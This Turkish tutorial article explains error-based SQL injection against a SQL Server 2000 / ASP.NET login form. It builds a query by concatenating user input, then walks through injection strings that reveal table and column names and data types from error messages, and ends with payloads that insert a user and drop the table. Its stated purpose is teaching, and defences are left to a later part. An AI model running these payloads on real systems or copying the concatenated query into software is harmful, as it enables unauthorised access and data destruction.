SQL Enjeksiyon Saldırıları ve Korunma Yöntemleri - I

SQL Enjeksiyon Saldırıları ve Korunma Yöntemleri - I Bu makalede hata mesajlarından faydalanan bir saldırganın neler yapabileceğini inceleyeceğiz. Daha sonraki makalelerimizde gelişmiş enjeksiyon saldırılarını ve bu saldırılardan korunma yöntemlerini ele alacağız. Yazar: Gonca İKİZ Yazıldığı Tarih: 08.12.2004 İstatistik: Bu makale 766 defa okundu. Zorluk Derecesi: 1 2 3 4 5 Anahtar Sözcükler: SQL Server 2000, T-SQL , ASP .NET, Enjeksiyon

  

Makalemize biraz bilgilerimizi tazeleyerek başlayalım. SQL Server 2000 bir istemci-sunucu ilişkisel veritabanı yönetim sistemidir (RDBMS). T-SQL (Transactional Structured Query Language) ise SQL-Server programlamak için kullanılan bir alt dildir (sub-language). T-SQL, veritabanı üzerinde işlem yapmamıza olanak sağlar.

Veritabanları, web uygulamalarının ana bileşenlerinden biri olarak sayılabilir. Web uygulamaları, veritabanları sayesinde veri depolar, istenildiğinde verileri kullanıcı ile paylaşır.

SQL enjeksiyonu ise kullanıcıdan gelen veriyi SQL sorgularında kullanan web uygulamalarını sömürmenin bir tekniğidir. Kullanıcınız doldurması gereken alanlara mantıklı SQL cümlecikleri girdiği takdirde sorgu akışınızı bozabilir. SQL enjeksiyon yöntemi ile bir saldırgan veritabanınıza erişim sağlayabilir. Tablo yaratabilir, tablolarınız üzerinde değişiklikler yapabilir, tablolarınızı tamamen silebilir veya sunucu üzerinde komut çalıştırabilir.

SQL enjeksiyon saldırıları çok farklı yöntemler kullanılarak gerçekleştirilebilir. Bu makalede hata mesajlarından faydalanan bir saldırganın neler yapabileceğini inceleyeceğiz. Daha sonraki makalelerimizde gelişmiş enjeksiyon saldırılarını ve bu saldırılardan korunma yollarını anlatağız.

Başlamadan evvel şunu hatırlatmakta fayda var: ASP .NET ile yazdığımız web uygulamalarında, dilin varsayılan tavrı hata mesajlarını dönmektir. Bu konuya korunma yöntemlerini anlatacağımız makalemizde tekrar değineceğiz.

Şimdi adım adım bir saldırganın SQL enjeksiyon yöntemiyle nerelere erişebileceğini ve neler yapabileceğini görelim: 

NOT:  kullanicilar adında 4 sütuna sahip bir tablomuz olsun.

       create table kullanicilar (  kullanicid int,

                                             kullaniciadi varchar(255),

                                             parola varchar(255),

                                             email nvarchar(50)

                                           )   

      var Sql = "select * from kullanicilar where kullaniciadi = "" + kullaniciadi +

      "" and parola = "" + parola + """;

1. Saldırganımız ilk iş olarak sorgunun kullandığı tabloların isimlerini öğrenmek isteyecektir. Web uygulamasında kullanıcı adının ve parolanın girildiği metin kutuları olduğunu varsayalım.

Kullanıcı adı : " having 1=1--

( Tek tırnağın ( " ) string ifadeyi kapattığını ve ( - - ) nin kendisinden sonra gelen komutları iptal ettiğini hatırlayalım.)

Saldırganımız aşağıda verilen hata mesajına benzer bir hata alacaktır.

[Microsoft][ODBC SQL Server Driver][SQL Server]Column "kullanicilar.kullanicid" is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Bu hata mesajının içerisinde geçen "kullanicilar.kullanicid" açıklaması saldırganımızı memnun edecektir. Çünkü saldırganımız artık sorgunun kullanicilar adlı bir tablo üzerinde yapılmakta olduğunu ve bu tablonun kullanicid adında bir sütuna sahip olduğunu bilmektedir.

2. Saldırganımız diğer tablo alanlarını belirlemek için çalışmalarına devam edecektir. Her yeni adımda bir önceki adımda elde ettiği bilgilerden faydalanacaktır.

Kullanıcı adı : " group by kullanicilar.kullanicid having 1=1--

Aşağıda gördüğümüz hata mesajı saldırganımızı yeniden memnun edecektir.

[Microsoft][ODBC SQL Server Driver][SQL Server]Column "kullanicilar.kullaniciadi" is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Saldırganımız artık kullaniciadi isimli sütunun da varlığından haberdar.

3. Saldırganımız 2. basamakta kullandığı metodu kullanarak bütün sütun isimlerine teker teker ulaşacaktır.

Kullanıcı adı: " group by kullanicilar.kullanicid, kullanicilar.kullaniciadi,

                        kullanicilar.parola,kullanicilar.email having 1=1-- 

cümleciği artık hata vermeyecek.

Saldırgan bu aşamada sorgunun kullanicilar tablosu üzerinde yapıldığını ve sütun adlarının sırasıyla "kullanicid, kullaniciadi, parola, email" olduğunu biliyor.

4. Saldırganımız şimdi sütunlardaki verilerin türlerini öğrenmeye çalışıyor. Bunu tür çevirimi (type conversion) sonucu alacağı hata mesajı ile başarıyor.

Kullanıcı adı : " union select sum(kullaniciadi) from kullanicilar--

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

İstediğini elde etti ve kullaniciadi sütununda varchar türünden veri olduğunu öğrendi.

5. Saldırganımız şimdi sayısal değer içeren bir sütun olup olmadığını anlamaya çalışıyor.

Kullanıcı adı : " union select sum(kullanicid) from kullanicilar--

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. 

6. Saldırganımız artık bu tablo üzerinde istediği SQL sorgusunu gerçekleştirebilir.

Kullanıcı adı : "; insert into kullanicilar values( 4, "emre", "small", "yemre@msakademik.net")

Kullanıcı adı : re"; drop table kullanicilar--

Son Söz:  Saldırganımız şu anda istediklerini elde ettiği için mutlu.  Saldırganımızın bu mutluluğu gelişmiş SQL enjeksiyon tekniklerini inceleyeceğimiz 2. makalemizde de devam edecek. Korunma yöntemlerinden bahsetmeye başladığımızda ise saldırganımızın sıkıntılı anları başlayacak. İlgili Makaleler:

 

SQL Injection: Are Your Web Applications Vulnerable?  By SPI Dynamics, May 1 2004  http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf

 

Yazar : Gonca İKİZe-Posta : goncaikiz@msakademik.net

Döküman Arama

Başlık :

Kapat